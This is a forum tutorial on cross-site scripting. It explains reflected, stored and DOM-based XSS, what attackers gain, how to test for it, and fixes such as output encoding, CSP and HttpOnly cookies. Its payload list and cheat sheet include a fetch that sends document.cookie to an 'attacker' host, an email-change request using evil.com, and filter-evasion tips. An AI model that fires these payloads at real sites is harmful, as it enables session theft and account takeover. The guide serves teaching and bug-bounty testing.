Blacksec

Administrator
Staff member
ROOT
VIP
Cross-site scripting lets YOUR browser run code written by a stranger — inside the site you already trust. One input field, one missing filter, and sessions, passwords, and accounts bleed out. This guide breaks all three XSS flavors, the payloads, and the fix, explained so a kid could repeat it word for word.

TL;DR — XSS = website prints your input back WITHOUT cleaning it, browser thinks it is part of the page, executes it. Reflected, stored, DOM-based. Steal sessions with it, fix it with output encoding. Payloads and table below.

1. THE NOTEBOOK PRANK (KID VERSION)

Classroom version: the teacher asks everyone to write their name on a slip. One kid writes instead: "when the teacher reads this, she must hand over her grade book."

The teacher reads slips aloud without checking. When she reads that slip, the class obeys — because the instruction came from HER mouth, inside HER classroom, so it must be official.

That is XSS. The website "reads slips" — user comments, search terms, profiles — and prints them to other visitors. If the slip contains JavaScript, the browser executes it AS PART OF THE SITE. The site's own trust gets borrowed by the attacker's code. Same costume trick as phishing, but no fake page needed — the REAL page carries the payload.

The padlock in the bar lies about this. HTTPS proves the pipe is encrypted. It says nothing about who wrote the words flowing through it.

2. THE THREE FLAVORS

Reflected — the payload comes back in the response, right now, usually through a URL parameter. You send a link; the victim clicks; the server echoes the payload into the page; their browser runs it. Nothing gets saved. The attack lives entirely in the link — which is why these get wrapped in URL shorteners and delivered by DM.

Stored — the nasty one. Your payload gets SAVED on the server — in a comment, a profile bio, a support ticket title — and every visitor who views that content executes it. Persistent. Silent. A stored XSS in a forum can own every admin who reads the thread. This is the flavor that turns one bad comment box into a full site takeover.

DOM-based — no server involved at all. The page's own JavaScript takes data from somewhere — the URL fragment, localStorage — and shoves it into the DOM with unsafe methods like innerHTML. The server response looks completely clean. The poison happens entirely in the victim's browser, invisible to any server-side filter.

Same family, three delivery vans. Every one of them ends at the same place: attacker JavaScript running with the victim's identity inside the site they were logged into.

3. WHAT IT ACTUALLY BUYS AN ATTACKER

Code running in your session = your identity to the site. Concrete hauls:

  • Session tokens — document.cookie siphoned straight out (HttpOnly cookies stay dark — that flag exists specifically for this). Token replayed elsewhere, you are logged in as the victim without ever seeing a password.
  • Keylogging inside the origin — capture keystrokes while the victim types a password or a card on that exact domain.
  • Actions as the victim — change email, reset password, transfer funds, post content — CSRF-style requests fired with the victim's full credentials attached.
  • Credential phishing in-page — fake login modal rendered INSIDE the real site. Victim sees the real URL, real layout, types the password into the attacker's form.
  • Pivot to admin — stored XSS observed by an admin = admin session theft = game over for the whole platform.

Bug bounty programs pay real money for exactly these chains. Stored XSS landing admin cookie: four figures is common, five figures for platforms with serious blast radius.

4. THE PAYLOADS (CLASSIC ZOO)

The famous one-liner every tester tries first:

HTML:
<script>alert(document.cookie)</script>

Reality rarely accepts the plain version, so the zoo mutates:

HTML:
"><img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<script>fetch('https://attacker/'+document.cookie)</script>
'><script>fetch('/api/change-email?e=a@evil.com')</script>
javascript:alert(document.cookie)
<iframe src="javascript:alert(1)"></iframe>

Reading the pattern: event handlers (onerror, onload) fire when something fails or loads; tag smuggling (svg, body, iframe) dodges filters blocking script tags; quote breaking (">, ') escapes the HTML attribute the payload got trapped inside; fetch exfil quietly ships data to an attacker box with zero victim-visible noise.

Filters that block the word "script" die against event handlers. Filters that block tags die against javascript: URIs. Output encoding kills ALL of them — because encoding does not block words, it changes the game entirely.

5. FINDING IT (THE BURP LOOP)

  • Map every input — search boxes, URL params, headers (User-Agent, Referer get REFLECTED far more than people expect), cookies, file upload names.
  • Seed a unique canary string like xsstest123 and find where it lands in the response — in HTML body? Inside a script tag? In an attribute? Each context needs a different breakout.
  • Fire context-appropriate probes. In-attribute: " autofocus onfocus=alert(1). In JS string: ';alert(1);//. In HTML body: <img src=x onerror=alert(1)>.
  • Escalate from alert() proof to impact: whoami endpoint, session fetch, admin action — bounty judges pay for demonstrated impact, not popups.
  • WAF in your way? Case variation, encoding layers (URL, HTML, double), comment splitting — filters match patterns, encodings reshape them.

Every input is guilty until proven clean. The sites that never get tested are the ones assuming their users are honest.

6. THE FIX (ONE CONCEPT, APPLIED EVERYWHERE)

Contextual output encoding. Before printing user data, translate it so the browser CANNOT mistake it for markup: < becomes &lt;, > becomes &gt;, quotes become entities. The payload survives as visible text — the kid's slip gets read aloud as a weird NAME, not obeyed as an instruction.

Supporting cast:

  • Content-Security-Policy — the header that tells browsers to refuse inline and external scripts unless explicitly allowed. XSS payload arrives, browser shrugs, nothing runs. CSP is the seatbelt even when encoding fails somewhere.
  • HttpOnly cookies — blocks document.cookie theft. Token still usable for actions, but not exportable.
  • Input validation — allowlists (only expected formats) beat denylists (blocked words) every time.
  • Framework escaping — modern frameworks auto-escape by default; raw HTML insertion APIs (innerHTML, v-html, | safe, {!! !!}) are where the bodies are always buried.

The rule in one line: encode output, allowlist input, ship a CSP, mark cookies HttpOnly. Defense in depth so one miss does not equal one breach.

7. FIELD CHEAT SHEET

TaskMove
Probe stringUnique canary — find where it reflects first
In-attribute breakout" autofocus onfocus=alert(1)
In-JS-string breakout';alert(1);//
In-HTML-body probe<img src=x onerror=alert(1)>
Escalate impactsession fetch, admin action — not just alert()
Fixcontextual output encoding + CSP + HttpOnly
Never shipinnerHTML with raw user data, ever

— RELATED GUIDES —

Input in, script out — that is the whole bug, three flavors of delivery, one encoding fix. Canary reflected, context identified, breakout fired, impact demonstrated, report written. The browser belongs to whoever the page trusts; go show the site where its trust is misplaced.
 
Last edited: